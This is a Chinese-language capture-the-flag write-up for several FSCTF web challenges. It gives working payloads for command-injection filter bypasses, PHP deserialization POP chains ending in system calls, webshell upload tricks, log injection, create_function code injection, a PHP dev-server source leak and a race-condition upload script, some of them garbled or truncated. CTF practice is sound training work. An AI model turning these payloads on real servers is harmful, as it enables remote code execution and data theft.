Ctrl +u 得到flag
考察passthru()命令执行函数; 直接cat /f*就行
靠查的就是连接符和命令执行 有点像ping题那种
直接 ;sort f* ;可以换成|
过滤了空格和cat 空格用${IFS}替换就行 cat用nl代替
Payload:
1;nl${IFS}/f*
1.MD5绕过使用数组:http://node4.anna.nssctf.cn:28835/?b[]=a&a[]=b
FL_AG,可以是用FL[AG=1,得到hint1:L0vey0U.php
2.反序列化:
$str = 'YES I love';
echo urlencode(serialize($str));# 得到P0int.php
3.继续反序列化
使用引用赋值&,让b=&a
$clazz = new Clazz();
$clazz->b = &$clazz->a;
echo serialize($clazz);
传参得到
PD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=
解码得到flag
考点:PHP上传黑名单绕过,图片文件头欺骗,PHP最短webshell
首先使用pht后缀绕过黑名单 然后图片头我们常使用GIF89a 但这里有字符长度限制 所以我们使用GIF就行 然后一句话木马 我们使用长的也会被限制 所以使用最短webshell
具体可看
https://blog.novelsee.com/archives/109626747
我们这里的shell写的就是
GIF=`nl /*`;
很简单内容 输出根目录下的所以东西
我们测试 上传一个pht 文件 然后type改一下 得到文件路径
我们访问文件路径就可以得到flag了
先按照它的要求修改User-Agent: FSCTF Browser和Referer: 127.0.0.1 然后可以使用伪协议读取 也 发现存在目录穿越漏洞
我们直接读取flag发现不存在
但还看到了nginx 可能涉及到日志注入漏洞 具体文章访问
日志注入漏洞 - NPFS - 博客园 (cnblogs.com)
我们输入一句话木马 直接查看falg
然后再去访问日志就得到flag了
分析代码 过率了空格 cat flag 空格用%09 cat 换成sort flag用f* 很基础的绕过
下面这个是关键 ?被替换为空 那就我们不能使用php一句话木马
我们使用长标签
然后我们内容直接rce 就不使用蚁剑了
Paylaod:
?word=%3Cscript%09language=%22php%22%3Esystem(%27sort${IFS}/f*%27)%3C/script%3E
代码审计和最终构造代码
start1 =new Rd();//进入this−>start1−>Love(this->start)这个函数,Love()会触发__call()函数,代码上找一下,只有Rd()有__call: 所以我们new一个Rd
$poc = new Poc();//先new一个Poc类 为后边做赋值用
$poc->payload =['POC'=>'1111']; //给里面的paylaod赋值为11111 理由:再看__call()里面,里面主要是要找个值使arg[0][‘POC’]=="1111"成立,,说明Love($this->start)里面的参数为[‘’=>‘’]:这里就会变量覆盖漏洞
$a->start = $poc->payload; //这里就可以使得if判断成功 然后就可以进入到if语句里面
$a->start1->cl = new Er();//进入$this->cl->var1 = “system”,这里调用var1会触发__set(),Er()里面正好有 __set里变成:public function __set($name, $value) # $value='system'
//{
// system($this->Flag);
//}
//
echo (serialize($a));
Payload
?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":3:{s:6:"ending";N;s:2:"cl";O:2:"Er":2:{s:6:"symbol";N;s:4:"Flag";s:9:"cat /flag";}s:3:"poc";N;}s:6:"start2";s:5:"11111";}
审计代码一眼丁真,是create_function利用
具体文章访问
PHP create_function代码注入 - twosmi1e - 博客园 (cnblogs.com)
我们直接利用然后构造序列化代码 注意param2要绕过过滤
代码:
Paylaod:
Tzo3OiJOb3RlYXN5IjoyOntzOjk6IgAqAHBhcmFtMSI7czoxNToiY3JlYXRlX2Z1bmN0aW9uIjtzOjk6IgAqAHBhcmFtMiI7czo0NDoifXJlcXVpcmUoYmFzZTY0X2RlY29kZShabWxzWlRvdkx5OW1iR0ZuKSk7Ly8iO30=
考点:php<= 7 . 4 . 21 development server源码泄露漏洞
打开页面 无法访问404
这里就已经很明显了 我们使用dirsearch扫描出了一个shell.php 我们直接访问shell.php他会回显phpinfo界面 然后搜索flag 也会出现假的flag
所以我们利用php源码读取漏洞读取webshell源码 像下面这样
具体访问下面这篇文章
https://blog.csdn.net/Kawakaze_JF/article/details/133046885
然后我们设置paylaod进行访问
GET /shell.php? HTTP/1.1
Host: node4.anna.nssctf.cn:28568
GET / HTTP/1.1
得到
然后把右边Hex读取的代码形成txt文件读取
HTTP/1.1 200 OK
Host: node4.anna.nssctf.cn:28568
Date: Wed, 25 Oct 2023 14:09:59 GMT
Connection: close
Content-Length: 443
我们发现phpinfo()在最前面 所以会出现刚刚的情况 我们然后带入表情发现下面就是个简单的passthru()命令执行函数 我们直接cat /f*就行
payload:
http://node4.anna.nssctf.cn:28999//shell.php?=cat /f*
官方wp:
import requests
from concurrent.futures import ThreadPoolExecutor
def td(list):
url = 'http://node4.anna.nssctf.cn:28142/index.php'
files = {'upload_file': (
'puu.php',"' ); ?>")}
data = {'submit': '上传'}
r = requests.post(url=url, data=data, files=files)
re = requests.get('http://node4.anna.nssctf.cn:28142/upload/puu.php')
if re.status_code == 200:
print('上传成功')
if __name__ == '__main__':
with ThreadPoolExecutor(50) as p:
p.map(td, range(2000))
考点就是信息收集的能力
这道题总共六段flag
第一段 源码:
第二段 css
第三段 js
第四段 提示爬虫 直接搜robots.txt
改下格式
提示苹果 那就是 .DS_store
访问得到
备份文件访问 www.zip 打开最后一个
believe_it!}
最后拼接
FSCTF{Tell_y0U_nT_To_poInT_oUt_tH@t_y000u_Don't_believe_it!}
提交失败 明显 nT少了一个o 总不可能骂你nt
FSCTF{Tell_y0U_noT_To_poInT_oUt_tH@t_y000u_Don't_believe_it!}